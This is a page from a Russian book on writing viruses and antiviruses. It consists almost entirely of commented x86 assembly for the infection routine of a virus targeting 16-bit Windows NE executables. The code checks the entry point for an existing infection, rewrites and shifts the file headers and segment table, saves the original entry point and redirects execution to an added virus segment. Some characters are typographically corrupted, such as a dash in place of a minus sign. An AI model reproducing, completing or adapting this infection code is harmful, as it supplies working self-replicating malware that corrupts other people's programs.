Размер шрифта
-
+

Создаем вирус и антивирус - стр. 17

;элемента в таблице сегментов

dec dx

shl dx,3

;К результату прибавим смещение таблицы сегментов и смещение

;заголовка NewEXE

add dx,WORD PTR [new_hdr+22h]

add dx,WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

;Переместим указатель чтения/записи

mov ax,4200h

int 21h

;Прочтем из таблицы сегментов смещение логического сектора

mov dx,OFFSET temp

mov cx,2

mov ah,3Fh

int 21h

;Вычислим смещение сегмента, опираясь на значения

;смещения логического сектора и множителя секторов

mov dx,WORD PTR [temp]

mov cx,WORD PTR [new_hdr+32h]

xor ax,ax

cal_entry:

shl dx,1

rcl ax,1

loop cal_entry

;Переместим 16 старших бит 32−битного результата в регистр CX

mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)

add dx,WORD PTR [new_hdr+14h]

adc cx,0

;Переместим указатель позиции чтения/записи на точку старта

;программы – результат вычисления

mov ax,4200h

int 21h

;Считаем первые 10 байт после старта программы

mov dx,OFFSET temp

mov cx,10h

mov ah,3Fh

int 21h

;Проверим, заражен ли файл. Если считанные 10 байт в точности

;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.

;В этом случае переходим к поиску следующего, иначе – заражаем

mov si,OFFSET temp

push cs

pop es

xor di,di

mov cx,8

cld

rep cmpsw

jne ok_to_infect

jmp close_exe

;Приступим к заражению

ok_to_infect:

;Переместим NE−заголовок на 8 байт ближе к началу файла.

;Исправим соответствующие поля старого заголовка

sub WORD PTR [old_hdr+10h],8

sub WORD PTR [old_hdr+3ch],8

sbb WORD PTR [old_hdr+3eh],0

;Исправим значения таблиц в новом заголовке, чтобы переместились

;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [new_hdr+4],8

add WORD PTR [new_hdr+24h],8

add WORD PTR [new_hdr+26h],8

add WORD PTR [new_hdr+28h],8

add WORD PTR [new_hdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP

push WORD PTR [new_hdr+14h]

pop [host_ip]

push WORD PTR [new_hdr+16h]

pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим

;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

;Переместим указатель чтения/записи в начало файла

;(к старому заголовку)

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Запишем старый заголовок, так как модифицированы

;некоторые поля его копии в памяти

mov dx,OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21h

;Переместим указатель чтения/записи на начало нового

;заголовка (его переместили на 8 байт к началу файла)

mov dx,WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

mov ax,4200h

int 21h

;Запишем новый заголовок, так как в его копии

;в памяти некоторые поля модифицированы

mov dx,OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

;Переместим указатель чтения/записи на 8 байт

;вперед – к началу таблицы сегментов

xor cx,cx

mov dx,8

mov ax,4201h

int 21h

;Рассчитаем размер таблицы сегментов и считаем ее в память

mov dx,OFFSET temp

mov cx,WORD PTR [new_hdr+1ch]

dec cx

shl cx,3

push cx

mov ah,3Fh

int 21h

;Переместим указатель чтения/записи назад, к позиции

;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,–1

mov ax,4201h

int 21h

;Запишем таблицу сегментов в файл, но не на ее прежнее место,

;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

pop cx

mov ah,40h

int 21h

;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)

xor cx,cx

xor dx,dx

mov ax,4201h

int 21h

Страница 17